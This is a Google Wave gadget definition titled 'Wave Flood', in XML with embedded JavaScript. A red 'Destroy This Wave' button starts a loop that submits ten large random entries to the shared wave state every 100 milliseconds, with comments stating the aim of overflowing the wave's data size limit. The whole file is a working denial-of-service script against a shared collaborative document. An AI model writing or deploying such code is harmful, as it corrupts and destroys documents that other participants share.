<?xml version="1.0" encoding="UTF-8" ?> 
<Module>
<ModulePrefs title="Wave Flood" height="150">
  <Require feature="wave" /> 
</ModulePrefs>
<Content type="html">
<![CDATA[ 
    <script type="text/javascript">
      //name it your favorite destructive wave analogy, floods, tsunamis, etc.
      
      function destroy(){
        //the idea is to overflow the wave data size limit
        try{
        document.getElementById("data").innerHTML = "Progress: "+wave.getState().toString().length;
        state = {};
        for(var i = 0; i < 10; i++){
          state["x"+Math.floor(Math.random()*999999999)+'k'+Math.floor(Math.random()*999999999)] = 
          Math.floor(Math.random()*999999).toString()+Math.floor(Math.random()*999999).toString()+
          Math.floor(Math.random()*999999).toString()+Math.floor(Math.random()*999999).toString()+
          Math.floor(Math.random()*999999).toString()+Math.floor(Math.random()*999999).toString()+
          Math.floor(Math.random()*999999).toString()+Math.floor(Math.random()*999999).toString()+
          Math.floor(Math.random()*999999).toString()+Math.floor(Math.random()*999999).toString()+
          Math.floor(Math.random()*999999).toString()+Math.floor(Math.random()*999999).toString()+
          Math.floor(Math.random()*999999).toString()+Math.floor(Math.random()*999999).toString()+
          Math.floor(Math.random()*999999).toString()+Math.floor(Math.random()*999999).toString()+
          Math.floor(Math.random()*999999).toString()+Math.floor(Math.random()*999999).toString()+
          Math.floor(Math.random()*999999).toString()+Math.floor(Math.random()*999999).toString();
        }
        wave.getState().submitDelta(state)
        setTimeout(function(){destroy()}, 100);
        }catch(err){
          alert(err.message);
        }
      }


    function stateUpdated(){}
    
    function init() {
      if (wave && wave.isInWaveContainer()) {
        wave.setStateCallback(stateUpdated);
        if(wave.getState() === null){
          //document.body.innerHTML = "Oops! This button is broken";
        }
        setTimeout(function(){
        try{
        wave.getState().submitDelta({'a123':'314159265358979'})
        document.getElementById("data").innerHTML = "Progress: "+wave.getState().toString().length;
        }catch(err){
        document.getElementById("data").innerHTML = "Progress: State is broken";
        }    
        },1000)
      }
    }
    gadgets.util.registerOnLoadHandler(init);

    </script>
    <center>
    <button style="width: 250px; height: 100px; background-color: red" onclick="destroy()">
      <h2>Destroy This Wave</h2>(Seriously it's a <u><b><i>very</i></b></u> bad idea)
    </button>
    <div id="data">Progress: N/A</div>
    </center>
  ]]> 
  </Content>
</Module>
